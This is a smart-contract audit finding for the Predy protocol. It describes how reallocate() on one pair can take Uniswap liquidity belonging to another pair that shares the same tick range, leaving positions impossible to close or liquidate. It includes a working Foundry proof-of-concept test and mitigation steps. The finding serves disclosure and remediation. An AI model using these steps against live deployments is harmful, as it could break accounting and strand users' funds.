One pair can steal another pair's Uniswap liquidity during reallocate() call if both pairs operate on the same Uniswap pool and both have the same upper and lower tick during reallocation.

[c4-bot-8]

Lines of code

https://github.com/code-423n4/2024-05-predy/blob/2fb1e0ec7a52fc06c2e9c8e561bccba84302e4bb/src/libraries/Perp.sol#L262-L289

Vulnerability details

During the reallocation of a pair, the Predy protocol does not verify that the liquidity in the Uniswap pool between the upper and lower tick belongs exclusively to that pair. Instead, it takes the entire liquidity from the range that the pair currently operates within.

In a scenario where a trusted operator creates two pairs for the same Uniswap pool, perhaps to have different quote tokens as margin tokens, there is a possibility that both pairs will have the same upper and lower tick setup.

In such a situation, if a user trades gamma on the first pair, and later the price moves outside the threshold of the second pair, if anyone performs a reallocation on that second pair, even if there were no gamma trades on the second pair, the second pair will steal liquidity from the user's open gamma position.

This will cause all accounting within the protocol for these two pairs to be compromised.

Impact

Internal protocol accounting will be disrupted, potentially making it impossible to close or liquidate positions properly.

Proof of Concept

1. A trusted operator registers a pair for USDC/ETH with USDC as the quote token.
2. The same trusted operator registers another pair for USDC/ETH with ETH as the quote token.
3. Both pairs have the same lower and upper tick settings.
4. A user trades gamma on the first pair.
5. The price moves outside the threshold of the second pair, threshold setting can differ between them.
6. Any user can trigger a reallocate() function call on the second pair, even if it originally had no liquidity because there were no gamma trades.
7. Liquidity is diverted from the first pair, despite no benefit to any user, resulting in incorrect accounting for users of the first pair.

Note: In such a scenario, the user's gamma position in the first pair cannot be closed properly. Any reallocation done on the first pair operates with empty liquidity, making it impossible to liquidate the user's gamma positions.

PoC Tests

This test illustrates how to one pair steals other pair liquidity:

Create test/PoC/TestPoCReallocate.t.sol and run forge test --match-test testPoCReallocateStealFromOtherPair -vvvv.

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import {TestPool} from "../pool/Setup.t.sol";
import {TestTradeMarket} from "../mocks/TestTradeMarket.sol";
import {IPredyPool} from "../../src/interfaces/IPredyPool.sol";
import {IFillerMarket} from "../../src/interfaces/IFillerMarket.sol";
import {Constants} from "../../src/libraries/Constants.sol";

contract TestPoCReallocate is TestPool {
    TestTradeMarket private tradeMarket;
    address private filler;

    function setUp() public override {
        TestPool.setUp();

        registerPair(address(currency1), address(0));
        registerPair(address(currency1), address(0));

        predyPool.supply(1, true, 1e8);
        predyPool.supply(1, false, 1e8);

        predyPool.supply(2, true, 1e8);
        predyPool.supply(2, false, 1e8);

        tradeMarket = new TestTradeMarket(predyPool);

        filler = vm.addr(12);

        currency0.transfer(address(tradeMarket), 1e8);
        currency1.transfer(address(tradeMarket), 1e8);

        currency0.approve(address(tradeMarket), 1e8);
        currency1.approve(address(tradeMarket), 1e8);

        currency0.mint(filler, 1e10);
        currency1.mint(filler, 1e10);
        vm.startPrank(filler);
        currency0.approve(address(tradeMarket), 1e10);
        currency1.approve(address(tradeMarket), 1e10);
        vm.stopPrank();
    }

    function testPoCReallocateStealFromOtherPair() public {
        // user opens gamma position on pair with id = 1
        {
            IPredyPool.TradeParams memory tradeParams =
                IPredyPool.TradeParams(1, 0, -90000, 100000, abi.encode(_getTradeAfterParams(2 * 1e6)));

            tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));
        }

        _movePrice(true, 5 * 1e16);

        // reallocation on pair id = 2 steals from pair id = 1
        assertTrue(tradeMarket.reallocate(2, _getSettlementData(Constants.Q96 * 15000 / 10000)));

        _movePrice(true, 5 * 1e16);

        // reallocation on pair id = 1 can be done but there is 0 liquidity
        assertTrue(tradeMarket.reallocate(1, _getSettlementData(Constants.Q96 * 15000 / 10000)));

        // user can't close his position on pair with id = 1, internal accounting is broken
        {
            IPredyPool.TradeParams memory tradeParams =
                IPredyPool.TradeParams(1, 1, 90000, -100000, abi.encode(_getTradeAfterParams(2 * 1e6)));

            tradeMarket.trade(tradeParams, _getSettlementData(Constants.Q96));
        }
    }
}

Recommended Mitigation Steps

1. Perform internal accounting of the liquidity mined within each pair and allow reallocation of only that amount of liquidity during the reallocate() function call.
2. Collect fees from the range proportionally to the liquidity held by each pair.

Assessed type

Uniswap